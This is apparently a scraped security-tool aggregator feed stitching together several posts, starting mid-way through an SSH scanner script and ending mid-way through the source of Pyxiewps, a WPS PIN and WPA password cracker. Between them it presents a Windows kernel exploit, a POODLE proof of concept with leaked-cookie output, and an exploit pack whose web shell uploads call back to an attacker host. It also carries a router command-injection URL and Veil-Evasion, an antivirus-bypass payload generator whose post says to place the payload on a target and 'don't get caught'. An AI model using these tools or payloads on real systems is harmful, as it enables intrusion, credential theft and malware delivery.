   txt = "   Your IP is visible !!!\n \n" #   Add 'Socks4 127.0.0.1 9050' to /etc/proxychains.conf.\n   Start Tor service, then \n   proxychains ./cl_ssh_scan.py"
   func_writelog("a", logloc, txt + "\n")
   print txt
   
if True :
   
   # Select Method
   print "\n\n *************************************\n * Select a method :                 *\n *************************************\n * h : Scan one host ip              *\n * r : Scan a range of IP's          *\n * f : Scan IP's from file (one/row) *\n *************************************"
   method = raw_input(' * Method : ')
   txt = "Selected Method : "
   func_writelog("a", logloc, txt)
   print txt,
   
   
   if method == 'h':   
      # Selected Method : (h)ost
      
      txt = "Scan one host IP"
      func_writelog("a", logloc, txt + "\n\n")
      print txt
   	
      hostname = raw_input('Hostname : ')
      func_scanhost(hostname, logloc)
   
   elif method == 'r': 
      # Selected Method : (r)ange
       
      txt = "Scan IP range"
      func_writelog("a", logloc, txt + "\n\n")
      print txt
      
      print "Fill out an IP range like 192.168.0.1-25"
      ip_range = raw_input('IP range : ')
      
      # If IP range is valid > execute      
      if(func_checkIPrange(ip_range) != True): # if not valid
         txt = "IP range not valid !! e.g. 192.168.0.1-25"
         func_writelog("a", logloc, txt + "\n")
         print txt
      else : # if valid ip range
      	
         # log
         txt = "IP range %s is valid" % (ip_range)
         func_writelog("a", logloc, txt + "\n\n")
         print txt
      	
         # creating ip list
         ip_l = func_createIPlist(ip_range)
      	
         # run scan for every ip in range
         for hostname in ip_l:
            func_scanhost(hostname, logloc)
      	
      
   elif method == 'f':
      #Selected Method : (f)ile
       
      txt = "Scan IP's from file"
      func_writelog("a", logloc, txt + "\n\n")
      print txt
      
      d_files = func_getDataFiles()
      txt = func_printDataFileOptions(d_files)
      print txt[:-1] # to remove the last \n
      
      ip_file = raw_input(" * Select : ")
      
      # Get File contents or Exit
      goon = False
      try:
         val = int(ip_file)
         goon = True
         val  = val -1 # because array keys are options -1
      except Exception :
         print 'No file selected'
      
      # if selection is an integer and if selection exists -> execute else exit
      ip_l = []
      if goon == True :
         print d_files[val]
         try :
            fl = open(d_files[val], 'r')
      		
            txt = "Selected File : " + str(d_files[val])
            func_writelog("a", logloc, txt + "\n")
            print txt
      		
            
            for line in fl :
               ip_l.append(line)
               print ' - ' + line
         except Exception :
            print 'Selection not valid'
      else :
         func_exit()
      
      # if ip's in file else exit
      if len(ip_l) > 0 :
         # If valid IP -> run scan
         for hostname in ip_l :
            try :
               socket.inet_aton(hostname)
               func_scanhost(hostname, logloc)
            except socket.error :
               print "Contains an unvalid IP"
      else :
         print "The selected file seems empty"
         func_exit()
   
   else :
      func_exit()

Source : https://github.com/Cleveridge/ | https://cleveridge.org/ | Ethical Hacking Lab

Updates Android Network Spoofer v-2.3.0

$
0
0

Changelog v-2.3.0:

+ Experimental Lollipop 5.1 support
+ Fixed the blue ball machine
+ Added “Generate device report” – allows device info to be emailed to developers for easier support.
Network Spoofer lets you change websites on other people’s computers from an Android phone.

Features include:
+ Flip pictures upside down
+ Flip text upside down
+ Make websites experience gravity
+ Redirect websites to other pages
+ Delete random words from websites
+ Replace words on websites with others
+ Change all pictures to Trollface
+ Wobble all pictures / graphics around a bit

Network Spoofer lets you change websites on other people’s computers from an Android phone.

Disclaimer:
Please note that there is no intention for Network Spoofer to include any malicious features. This application is a fun demonstration of how vulnerable home networks are to simple attacks, with permission of the network owner – DO NOT attempt to use Network Spoofer on any corporate or other non-residential networks (eg. at school, university). It becomes very obvious when Network Spoofer is being used on a Network, and use of Network Spoofer will be considered malicious hacking by network administrators.

Requirements
Network Spoofer runs on Android devices with the following requirements:
– Which are rooted (‘su’).
– Which has Wifi
The first can be obtained by using a custom firmware such as CyanogenMod. Alternatively search on the internet for instructions on how to root your phone.

Download:
android-netspoof-2.3.0.apk (3.99 MB) | Zipball | Tarball
Source : http://www.digitalsquid.co.uk/netspoof/
Old post: http://seclist.us/updates-android-network-spoofer-v-2-2-0.html

Exploit for the toy vulnerability.

$
0
0

The full code for the mitigation bypass is provided as well as a toy example to experiment with the vulnerability. Please be aware that the provided driver has been made only to be exploited and is a very simple “fake” write-what-where vulnerability. As such, it should not be used on a non-testing environment as it potentially exposes the user to a high risk.MS10-058-diff

== Project organization ==
Two projects are linked. The first one is the mitigation bypass itself. The “write_what_where” function contains the code of any vulnerability modified in a way that leads to this primitive (this is exactly what we’ve done for a real-world kernel use-after-free vulnerability). In this case, it is an exploit for the toy vulnerability. The other project corresponds to the toy driver.

== Installing the driver ==
Simply build the driver as a normal KMDF driver project using the provided visual studio project file. Once you get the driver binary, ensure that you disable signature verification by booting your operating system in test mode (press shift while clicking the restart button). Once it is done, you should see a special message on the bottom right of your desktop indicating you’re running in that mode.
At this point, you should be able to load the driver using OSR’s driver loader [1]. At this point you should be able to trigger the exploit and see a system authority console spawning.

Tested on Windows 7 – SP1 – 32 bits

Download : Master.zip  | Clone Url
Source : https://github.com/JeremyFetiveau


Poodle Attack – PoC implementation of the POODLE attack.

$
0
0

Intoduction:
SSL 3.0 [RFC6101] is an obsolete and insecure protocol. While for most practical purposes it has been replaced by its successors TLS 1.0 [RFC2246], TLS 1.1 [RFC4346], and TLS 1.2 [RFC5246], many TLS implementations remain backwards­compatible with SSL 3.0 to interoperate with legacy systems in the interest of a smooth user experience. The protocol handshake provides for authenticated version negotiation, so normally the latest protocol version common to the client and the server will be used

POODLE-Attack-Overview

POODLE-Attack-Overview

The attack described above requires an SSL 3.0 connection to be established, so disabling the SSL 3.0 protocol in the client or in the server (or both) will completely avoid it. If either side supports only SSL 3.0, then all hope is gone, and a serious update required to avoid insecure encryption. If SSL 3.0 is neither disabled nor the only possible protocol version, then the attack is possible if the client uses a downgrade dance for interoperability.

Optimization Potential :
The PoC implementation of the attack is far from being optimal. Every generated request requires an additional HTTP roundtrip to ask the HTTP server for the next requests parameters, even when the parameters change only after a plaintext byte has leaked in the decryption phase.

Latest Change 14/05/2015:
– Swapped debug/no debug command in poodle-dev.sh and added start-offset
– Added test certificates
– Working version

Test Environment :
– Start HTTP server with: ./poodle-dev.sh httpserver
– Start SSLv3 forwarder to HTTP server from point above with: ./poodle-dev.sh sslserver
– Start PoC with: ./poodle-dev.sh attacker
– Open HTTPS server in browser and accept certificate.
– Open PoC request generator and watch leaking bytes in PoC terminal

Example Output:

$ ./poodle.py --target-port 4433 --start-offset 384 https://localhost:8443
Starting SSL/TLS server on :8443 forwarding to localhost:4433
Starting HTTP server on :8000 generating requests to https://localhost:8443
Decrypted byte 384: C (0x43) in 8.1950 seconds with 57 requests
Victim now leaked 1 bytes: "C" 57 requests and 8.195 seconds per leaked bytes, 57 requests and 8.195 seconds total
Decrypted byte 385: o (0x6f) in 56.7356 seconds with 405 requests
Victim now leaked 2 bytes: "Co" 231 requests and 32.465 seconds per leaked bytes, 462 requests and 64.931 seconds total
Decrypted byte 386: o (0x6f) in 73.1930 seconds with 519 requests
Victim now leaked 3 bytes: "Coo" 327 requests and 46.041 seconds per leaked bytes, 981 requests and 138.124 seconds total
Decrypted byte 387: k (0x6b) in 36.4802 seconds with 259 requests
Victim now leaked 4 bytes: "Cook" 310 requests and 43.651 seconds per leaked bytes, 1240 requests and 174.604 seconds total
Decrypted byte 388: i (0x69) in 54.8990 seconds with 387 requests
Victim now leaked 5 bytes: "Cooki" 325 requests and 45.901 seconds per leaked bytes, 1627 requests and 229.503 seconds total
Decrypted byte 389: e (0x65) in 14.2407 seconds with 99 requests
Victim now leaked 6 bytes: "Cookie" 287 requests and 40.624 seconds per leaked bytes, 1726 requests and 243.744 seconds total
Decrypted byte 390: : (0x3a) in 34.2510 seconds with 240 requests
Victim now leaked 7 bytes: "Cookie:" 280 requests and 39.714 seconds per leaked bytes, 1966 requests and 277.995 seconds total

Download : Master.zip | Clone Url
Source : https://github.com/thomaspatzke | http://patzke.org/implementing-the-poodle-attack.html

Updates Exploits v-20/05/2015 : Miscellaneous proof of concept exploit code.

$
0
0

Changelog and tool added 20/05/2015:
Add SuiteShell : Exploit for SuiteCRM Post-Authentication Shell Upload.
Disclosure Timeline:
05/05/2015: Vulnerability discovered and validated. SuiteCRM contacted via twitter asking for a security contact.
06/05/2015: SuiteCRM provide security contact, vulnerability details sent.
06/05/2015: SuiteCRM respond and let me know I will be kept in the loop.
12/05/2015: No contact from SuiteCRM, automated PoC exploit written and provided along with notification of intent to request a CVE on 20/05/2015
20/05/2015: Deadline expires. Publish PoC and request CVE.

Miscellaneous proof of concept exploit code written at Xiphos Research for testing purposes.
Updates Exploits 27.04.2015 :
+ phpMoAdmin Remote Code Execution (CVE-2015-2208)
+ LotusCMS Remote Code Execution (OSVDB-75095)
+ ElasticSearch Remote Code Execution (CVE-2015-1427)
+ ShellShock (httpd) Remote Code Execution (CVE-2014-6271)
+ IISlap – http.sys Denial of Service/RCE PoC (DoS only). (MS-15-034)
+ se0wned – Seowintech Router diagnostic.cgi remote root
+ WPsh0pwn – WordPress WPShop eCommerce Shell Upload (WPVDB-7830)
+ nmediapwn – WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload
+ pwnflow – WordPress Work the flow file upload 2.5.2 Shell Upload
+ delusions – WordPress InfusionSoft Gravity Forms Shell Upload (CVE-2014-6446)
+ TBA

There is no changelogs here, as that would be too much effort, just git commits. Exploits may be updated regularly for greater stability, reliability or stealthiness, so check them for updates regularly

::Exploit for SuiteCRM Post-Authentication Shell Upload::
SuiteCRM suffers a post-authentication shell upload vulnerability in its “Upload Company Logo” functionality, wherin it uses a blacklist in an attempt to prevent the upload of executable code. Furthermore, its “check for valid image” test leaves uploaded files in a tempdir that is web accessible. It is possible to bypass the blacklist to upload executable PHP code with the “phtml” extension to this temporary directory and thus gain code execution under the context of the webserver user on the affected system. This vulnerability was discovered by Darren Martyn of Xiphos Research Ltd. while assessing the SuiteCRM software. The version tested was “suitecrm-7.2.1-max”, as available on the SuiteCRM website on the 5/5/2015.SuiteShell

Usage:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable SuiteCRM installation, and a valid username and password for an administrative user.

seowned1
::Exploit for Seowintech Routers diagnostic.cgi Unauthenticated Remote Root Code Execution::
This is an exploit for an old bug, found the exploit code lurking around in one of my old hard drives, cleaned it up, and decided to release it. Basically, a long while back, a rather interesting exploit was disclosed which affected ALL Seowontech devices. Technically, it is two exploits. A remote root command injection bug, and a remote root file disclosure bug. In this, I only bother with the command injection bug. These vulnerabilities were found by one Todor Donev.
The bug we are abusing is quite simple. Like many router bugs, it exists in a CGI script, that is used for network diagnostics. It is the bit for pinging that is vulnerable to our abuse.
PoC:

http://target.com/cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=-q -s 0 127.0.0.1;id;&ping_count=1&action=Apply&html_view=ping

Usage:
To use, simply specify the target routers base URL, and a MIPS executable to upload and execute.

Trojans~Princes$ python2 /tmp/se0wn.py 
███████╗███████╗ ██████╗ ██╗    ██╗███╗   ██╗███████╗██████╗ 
██╔════╝██╔════╝██╔═████╗██║    ██║████╗  ██║██╔════╝██╔══██╗
███████╗█████╗  ██║██╔██║██║ █╗ ██║██╔██╗ ██║█████╗  ██║  ██║
╚════██║██╔══╝  ████╔╝██║██║███╗██║██║╚██╗██║██╔══╝  ██║  ██║
███████║███████╗╚██████╔╝╚███╔███╔╝██║ ╚████║███████╗██████╔╝
╚══════╝╚══════╝ ╚═════╝  ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═════╝ 
Exploit for Seowintech Routers, CVE-?. Version: 20150425.1
{+} Uploading our backdoor...
{*} Backdoor is in 237 chunks...
100% |#########################################################################################################################################################################################|
{+} Setting execute bit...
{+} Executing Payload...

InfusionSoft Gravity Forms Shell Upload
This is an exploit for one of the most facepalmworthy exploits ever, hence, I had to add it to the reportoire. Just… Just read the advisory. You will die laughing.
Usage:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Exploit for WordPress WPshop eCommerce 1.3.9.5 Shell Upload.
This is an exploit for a trivial shell upload vulnerability in the WPshop eCommerce plugin in versions 1.3.9.5 and below. Its a very trivial shell upload in “ajax.php”, preauth, that we use to upload a shell and then spawn a reverse connect shell. Nothing fancy, only reason I bothered writing an exploit for it is because I didn’t want to use Metasploit and happened to have use for it.wpshop
Usage:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Exploit for WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload
This plugin comes with added backdoor upload features, so naturally, I had to quickly knock together an exploit for it. Basically another trivial shell upload, trying to burn through a few of these so I have non-MSF exploits for when needed.
Usage :
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Exploit for WordPress Work the flow file upload 2.5.2 Shell Upload
This plugin comes with added backdoor upload features, so naturally, I had to quickly knock together an exploit for it. Basically another trivial shell upload, trying to burn through a few of these so I have non-MSF exploits for when needed.
Usage :
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable WordPress installation.

Usage Global SCript:
To use, simply select which payload you want to use (currently only back_python.php is available, but I plan on adding back_php.php and back_perl.php at a later date). This is the “payload.php”. You also must specify a callback host and port, along with the URL to the vulnerable LotusCMS installation.

Download : Master.zip  | Clone Url | Our Post Before
Source : https://github.com/XiphosResearch | http://www.xiphosresearch.com/

Updates Veil-Evasion v-2.20.1 : is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.

$
0
0

Released.: 2.20.1 [5.29.2015]:
+ Modified.: Python payloads now include McAfee bypass… oh antivirus…. avlol

Veil-Evasion is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.

Veil-Evasion is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.

Veil-Evasion is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.

NOTE: ./setup/setup.sh should be re-run on every major version update. If you receive any major errors on running Veil-Evasion, first try re-running this script to install any additional packages and update the common configuration file

Software Requirements:
Linux :
Use Kali (x86) and all dependencies are pre-installed

or –

Install Python 2.7
Install PyCrypto >= 2.3
Windows (for Py2Exe compilation)

Python (tested with x86 – http://www.python.org/download/releases/2.7/)
Py2Exe (http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/)
PyCrypto (http://www.voidspace.org.uk/python/modules.shtml)
PyWin32 (http://sourceforge.net/projects/pywin32/files/pywin32/Build%20218/pywin32-218.win32-py2.7.exe/download)
Setup (tldr;)

Run ./setup.sh on Kali x86 (for Pyinstaller). Install Python 2.7, Py2Exe, PyCrypto, and PyWin32 on a Windows computer (for Py2Exe).

Examples : Extracted Source Code from Veil-Evasion Payload

Examples : Extracted Source Code from Veil-Evasion Payload

Veil-Evasion was designed to run on Kali Linux, but should function on any system capable of executing python scripts. Simply call Veil-Evasion from the command line, and follow the menu to generate a payload. Upon creating the payload, Veil-Evasion will ask if you would like the payload file to be converted into an executable by Pyinstaller or Py2Exe.

If using Pyinstaller, Veil-Evasion will convert your payload into an executable within Kali.

If using Py2Exe, Veil-Evasion will create three files:

payload.py – The payload file
setup.py – Required file for Py2Exe
runme.bat – Batch script for compiling the payload into a Windows executable
Move all three files onto your Windows machine with Python installed. All three files should be placed in the root of the directory Python was installed to (likely C:\Python27). Run the batch script to convert the Python script into an executable format.

Place the executable file on your target machine through any means necessary and don’t get caught!

Download : Master.zip  | Clone Url | Stable: 2.20.1.zip tarball: 2.20.1.tar.gz
Source : https://www.veil-framework.com/ | Our Post Before

Chimera Beta – Simple FTP/FTPS dictionary bruteforcer.

Crhash – a customizable hash brute forcer.

$
0
0

crhash is a hackable hash cracker, meant to be customized for your special cracking needs. Basically it’s just a framework to enumerate strings given a pattern and a charset and you can plug in your own hash computation and checks.

It includes support for OpenCL, so if you want to use that you just have to provide a kernel that computes a hash and checks whether it fulfills a certain property. The framework will then run your kernel and find the strings that you marked as positive.

Currently customization is done by tweaking the config.h header file. In the future we might add the option to support compiled plugins in the form of a shared library.

Usage:

Usage: crhash [FLAGS] pattern_string alphabet0 [alphabet1 [...]]

pattern_string
  is a string with ? chars as placeholders

alphabetX
  is an alphabet specification in one of two formats:
    =s     represents the explicit set of characters in s
    :lo:hi represents the set of characters with ASCII values
           in the inclusive range lo..hi

  You can provide different charsets for the different wildcard positions
  in the pattern string. The last character set you provide will be used
  for the remaining positions.

OPTIONS
  -t integer  Use the given number of threads
  -s          No verbose output, just dump the result string
  -a          Find all matching strings
  -c          Use OpenCL. Currently only supports a subset of patterns,
              specifically ones where the wildcards are all contiguous and
              there is only one contiguous charset. I.e. <prefix>??...??<suffix>
  -h          Show this help

Building:
crhash is built using CMake:

$ mkdir build
$ cd build
$ cmake /path/to/crhash
$ make

You can also use the included run wrapper script, which will create a build directory in the current working dir:

$ cd /path/to/crhash
$ ./run -h

Download : Master.zip  | Clone Url
Source : https://github.com/niklasb

Pyxiewps is a wireless attack tool to retrieve the WPS pin in seconds.

$
0
0

Pyxiewps is a wireless attack tool writen in python that uses reaver, pixiewps, macchanger and aircrack to retrieve the WPS pin of any vulnerable AP in seconds. It is meant for educational purposes only.

It enumerates all the APs with active WPS, tries to get the PKE, PKR, E-NONCE, R-NONCE, AUTHKEY, HASH1 and 2 using the patched version of reaver, then passes all that information to pixiewps program so that it can retrieve the WPS pin, and finally runs reaver again with the pin that pixiewps found to get the AP WPA password.

USAGE :

python pyxiewps-[LANGUAGE].py <arguments>

-r --use-reaver          Use reaver to get all the AP information.              [False]
-p --use-pixie           Once all the data is captured with reaver              [False]
                         the script tries to get the WPS pin with pixiewps.
-w --wash-time [time]    Set the time used to enumerate all the WPS-active APs. [15]
-t --time [time]         Set the time used to get the hex data from the AP.       [6]
-c --channel [channel]   Set the listening channel to enumerate the WPS-active APs.
                         If not set, all channels are listened.
-P --prompt              If more than one WPS-active AP is found, ask the user [False]
                         the target to attack.
-o --output [file]       Outputs all the data into a file.
-f --pass                If the WPS pin is found, the script uses reaver again to retrieve
                         the WPA password of the AP.
-q --quiet               Doesn't print the AP information. Will print the WPS pin and pass if found.
-F --forever             Runs the program on a While loop so the user can scan and attack a hole
                         zone without having to execute the program over and over again.
-O --override            Doesn't prompt the user if the WPS pin of the current AP has already
                         been found. DOESN'T SKIP THE AP, the script attacks it again.

pyxiewps-EN.py Script :

from os import kill, system, path, chdir
from signal import alarm, signal, SIGALRM, SIGKILL
import time
import subprocess
from re import sub, compile, search
from sys import argv

REAVER = 'reaver'
PIXIEWPS = 'pixiewps'
WASH = 'wash'
AIRMON = 'airmon-ng'
MACCHANGER = 'macchanger'
GIT = 'git'
INFO = '\033[32m[+] \033[0m'   # green
ALERTA = '\033[31m[!] \033[0m' # red
INPUT = '\033[34m[>] \033[0m'  # blue
DATA = '\033[33m[DATA] \033[0m'  # yellow
OPCION = '\033[33m[!!!] \033[0m' # yellow
USE_REAVER = False   # If False, uses wash and finishes.
USE_PIXIEWPS = False # Tries to get the WPS pin with pixiewps
WASH_TIME = 11       # Time to enumerate the APs with active WPS
WASH_CHANNEL = ''    # All channels
REAVER_TIME = 6      # Time to get all the useful AP information with reaver
CHOICES_YES = ['Y', 'y', '', 'yes', 'Yes']
CHOICES_NOPE = ['N', 'n', 'no', 'No']
PROMPT_APS = False
OUTPUT = False
OUTPUT_FILE = 'data.txt'
PRINT_REAVER = True
PRINT_PIXIE = True
GET_PASSWORD = False
FOREVER = False
OVERRIDE = False

def banner():
  """
  Prints the banner into the screen
  """
  
  print
  print "\t ____             _                         "
  print "\t|  _ \ _   ___  _(_) _____      ___ __  ___ "
  print "\t| |_) | | | \ \/ / |/ _ \ \ /\ / / \'_ \/ __|"
  print "\t|  __/| |_| |>  <| |  __/\ V  V /| |_) \__ \\"
  print "\t|_|    \__, /_/\_\_|\___| \_/\_/ | .__/|___\\"
  print "\t       |___/                     |_|        "
  print
  print "\tMade by jgilhutton <pyxiewps@gmail.com>"
  print "\tReaver 1.5.2 mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg"
  print "\tCopyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>"
  print "\tPixiewps  Copyright (c) 2015, wiire <wi7ire@gmail.com>"
  print "\tMacchanger by Alvaro Ortega Copyright (C) 2003 Free Software Foundation, Inc."
  print
  
def arg_parser():
  """
  Parses the arguments and calls the help() function if any problem is found
  """
 
  global PRINT_PIXIE
  global PRINT_REAVER
  global USE_REAVER
  global USE_PIXIEWPS
  global WASH_TIME
  global REAVER_TIME
  global WASH_CHANNEL
  global PROMPT_APS
  global OUTPUT_FILE
  global OUTPUT
  global GET_PASSWORD
  global FOREVER
  global OVERRIDE
  H = ['-h','--help']
  binary_flags = ['-w','-t','-c','-o']
  
  for arg in argv[1:]:
    if arg in H:
      help()
      exit()
    elif argv[argv.index(arg)-1] in binary_flags:
      continue
    elif arg == '-q' or arg == '--quiet':
      PRINT_PIXIE = False
      PRINT_REAVER = False
    elif arg == '-r' or arg == '--use-reaver':
      USE_REAVER = True
    elif arg == '-p' or arg == '--use-pixie':
      USE_PIXIEWPS = True
    elif arg == '-w' or arg == '--wash-time':
      try:
	WASH_TIME = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-t' or arg == '--time':
      try:
	REAVER_TIME = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-c' or arg == '--channel':
      try:
	WASH_CHANNEL = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-P' or arg == '--prompt':
      PROMPT_APS = True
    elif arg == '-o' or arg == '--output':
      OUTPUT = True
      OUTPUT_FILE = argv[argv.index(arg)+1]
    elif arg == '-f' or arg == '--pass':
      GET_PASSWORD = True
    elif arg == '-F' or arg == '--forever':
      FOREVER = True
    elif arg == '-O' or arg == '--override':
      OVERRIDE = True
    else:
      help()

def help():
  """
  Help information
  """
  
  print
  print "script -r -p -w 15 -t 6 -c 7 -P -o file.txt -f"
  print "script --use-reaver --use-pixie --wash-time 15 --time 6 --channel 7 --prompt --output file.txt -h"
  print
  print '\t-r --use-reaver          Use reaver to get all the AP information.              [False]'
  print '\t-p --use-pixie           Once all the data is captured with reaver              [False]'
  print '\t                         the script tries to get the WPS pin with pixiewps.'
  print '\t-w --wash-time [time]    Set the time used to enumerate all the WPS-active APs. [15]'
  print '\t-t --time [time]         Set the time used to get the hex data from the AP.       [6]'
  print '\t-c --channel [channel]   Set the listening channel to enumerate the WPS-active APs.'
  print '\t                         If not set, all channels are listened.'
  print '\t-P --prompt              If more than one WPS-active AP is found, ask the user [False]'
  print '\t                         the target to attack.'
  print '\t-o --output [file]       Outputs all the data into a file.'
  print '\t-f --pass                If the WPS pin is found, the script uses reaver again to retrieve'
  print '\t                         the WPA password of the AP.'
  print '\t-q --quiet               Doesn\'t print the AP information. Will print the WPS pin and pass if found.'
  print '\t-F --forever             Runs the program on a While loop so the user can scan and attack a hole'
  print '\t                         zone without having to execute the program over and over again.'
  print '\t-O --override            Doesn\'t prompt the user if the WPS pin of the current AP has already'
  print '\t                         been found. DOESN\'T SKIP THE AP, the script attacks it again.'
  print
  exit()
  
class Engine():
  """
  Manage the Config functions and start the program
  """

  def __init__(self):
    self.REAVER = True
    self.PIXIEWPS = True
    self.WASH = True
    self.AIRMON = True
    self.MACCHANGER = True
    self.GIT = True
  
  def start(self):
    """
    Main function
    """
    chdir('/root/')
    if not c.check_iface(): # check_iface returns True if any previous wlan is found in monitor mode
      c.set_iface("UP")
    else:
      print INFO + "Previous interface was found in monitor mode: %s" %c.IFACE_MON
      choice = raw_input("%sDo you wish to use this interface? [Y/n] " %INPUT)
      if choice in CHOICES_YES:
	pass
      elif choice in CHOICES_NOPE:
	c.set_iface("DOWN")
	c.set_iface("UP")
    if FOREVER:
      while True:
	attack = Attack()
	attack.get_wps_aps()
    else:
      attack = Attack()
      attack.get_wps_aps()
      engine.exit_limpio()
    
  def parse_wash(self, linea):
    """
    Parses the wash output
    Returns bssid, channel, essid
    """
    
    linea = linea.split('|')
    bssid = linea[0] # MAC
    canal = linea[1]
    essid = linea[-1]
    return [bssid, canal, essid]
    
  def parse_reaver(self, output, pin_encontrado = False):
    """
    Parses the reaver output
    Gets the pkr, pke, hash1 y 2, enonce, rnonce, authkey, manufacturer y model
    and returns all the data
    """

    if pin_encontrado:
      password = ''
      for linea in output:
	if '[+] WPA PSK: ' in linea:
	  password = sub('\[\+\] WPA PSK: ','',linea)
	  return password
      if password == '':
	return 'no password'

    E_NONCE = ''
    R_NONCE = ''
    PKR = ''
    PKE = ''
    HASH1 = ''
    HASH2 = ''
    AUTHKEY = ''
    MANUFACTURER = ''
    MODEL = ''
    NUMBER = ''
    uberlista = []
    lista_final = []
    is_complete = False
    has_something = False
    
    if output == '':
      return 'shit'
      
    for linea in output:
      if 'E-Nonce' in linea:
	has_something = True
      elif 'E-Hash2' in linea:
	lista_final = output[0:output.index(linea)+1] # Truncates the output after the hash2
	is_complete = True
	break
      elif 'Detected AP rate limiting' in linea:
	return 'ap rate limited'
    if has_something and not is_complete:
      return 'more time please'
    elif has_something == False:
      return 'noutput'
    for linea in lista_final:
      if 'E-Nonce' in linea:
	E_NONCE = sub('\[P\] E-Nonce: ','',linea)
      elif 'R-Nonce' in linea:
	R_NONCE = sub('\[P\] R-Nonce: ','',linea)
      elif 'PKR' in linea:
	PKR = sub('\[P\] PKR: ','',linea)
      elif 'PKE' in linea:
	PKE = sub('\[P\] PKE: ','',linea)
      elif 'E-Hash1' in linea:
	HASH1 = sub('\[P\] E-Hash1: ','',linea)
      elif 'E-Hash2' in linea:
	HASH2 = sub('\[P\] E-Hash2: ','',linea)
      elif 'AuthKey' in linea:
	AUTHKEY = sub('\[P\] AuthKey: ','',linea)
      elif 'Manufacturer' in linea:
	MANUFACTURER = sub('\[P\] WPS Manufacturer: ','',linea)
      elif 'Model Name' in linea:
	MODEL = sub('\[P\] WPS Model Name: ','',linea)
      elif 'Model Number' in linea:
	NUMBER = sub('\[P\] WPS Model Number: ','',linea)
      elif '[+] Associated with ' in linea:
	ESSID = sub('\(ESSID\: ','|',linea)
	ESSID = ESSID.split('|')[-1][:-2]
      elif '[+] Waiting for beacon from ' in linea:
	BSSID = sub('\[\+\] Waiting for beacon from ','',linea)
      else:
	pass
    uberlista = [PKE.strip(),PKR.strip(),HASH1.strip(),HASH2.strip(),AUTHKEY.strip(),
    MANUFACTURER.strip(),MODEL.strip(),NUMBER.strip(),E_NONCE.strip(),R_NONCE.strip(),
    ESSID.strip(),BSSID.strip()]
    return uberlista
  
  def check(self, check_again = False):
    """
    Check dependencies, user ID and other stuff
    """
    
    if c.get_uid() != '0':
      print ALERTA + 'You need to run the script as root'
      exit()

    ### Programas
    if c.program_exists(MACCHANGER):
      self.MACCHANGER = True
    elif not check_again:
      print ALERTA + 'Macchanger is not installed but it isn\'t a key binary.'
      print '    Some APs blocks the attackers device MAC and changing the MAC'
      print '    is a good option to bypass the problem.'
      print '    The script will not change the MAC, so don\'t expect it to work'
      print '    on some APs.'
      self.MACCHANGER = False
    if c.program_exists(REAVER):
      version = c.check_reaver_version()
      if version == '1.5.2':
	self.REAVER = True
      else:
	print ALERTA + "You need other version of reaver."
	self.REAVER = False
    elif not check_again:
      print ALERTA + 'reaver is not installed'
      self.REAVER = False
    if c.program_exists(PIXIEWPS):
      self.PIXIEWPS = True
    elif not check_again:
      print ALERTA + 'pixiewps is not installed'
      self.PIXIEWPS = False
    if c.program_exists(WASH):
      self.WASH = True
    elif not check_again:
      print ALERTA + 'wash is not installed'
      self.WASH = False
    if c.program_exists(AIRMON):
      self.AIRMON = True
    elif not check_again:
      print ALERTA + 'airmon-ng is not installed'
      self.AIRMON = False
    if c.program_exists(GIT):
      self.GIT = True
    elif not check_again:
      self.GIT = False
    if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS and check_again:
      print INFO + "All programs were installed!"
      raw_input("%sPress enter to continue" %INPUT)
      print INFO + "Starting the attack..."
    elif check_again:
      print
      print ALERTA + "Some programs were not installed."
      print "    manually check the needed dependencies"
      print "    and run again the program after you installed them."
      print
      exit()
    if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS:
      pass
    else:
      print ALERTA + "You need all the necessary programs."
      print INPUT + "They are:"
      print "\tbuild-essential"
      print "\tlibpcap-dev"
      print "\tsqlite3"
      print "\tlibsqlite3-dev"
      print "\taircrack-ng"
      print "\tlibssl-dev"
      choice = raw_input("%sDo you wish to install them now? [Y/n]?" %INPUT)
      if choice in CHOICES_YES:
	c.get_binarios()
      else:
	exit()
    
    ###All good...
    engine.start()

  def run(self, cmd, shell = False, kill_tree = True, timeout = -1):
    """
    Runs a command witha given time after wich is terminated
    returns stdout of proc.
    output is a list without passing strip() on the lines.
    """

    class Alarm(Exception):
      pass
    def alarm_handler(signum, frame):
      raise Alarm
    if timeout != -1:
      signal(SIGALRM, alarm_handler) # Time's ticking...
      alarm(timeout)                 

    proc = subprocess.Popen(cmd, shell = shell, stdout = subprocess.PIPE)
    output = []
    try:
      for line in iter(proc.stdout.readline, ''):
	output.append(line)
      if timeout != -1:
	alarm(0)
    except Alarm:         # time's out! alarm is raised
      pids = [proc.pid]   # kill the process tree related with the main process.
      if kill_tree:
	pids.extend(self.get_process_children(proc.pid))
      for pid in pids:   
	try:             
	  kill(pid, SIGKILL)
	except OSError:
	  pass
      return output
    return output

  def get_process_children(self, pid):
    """
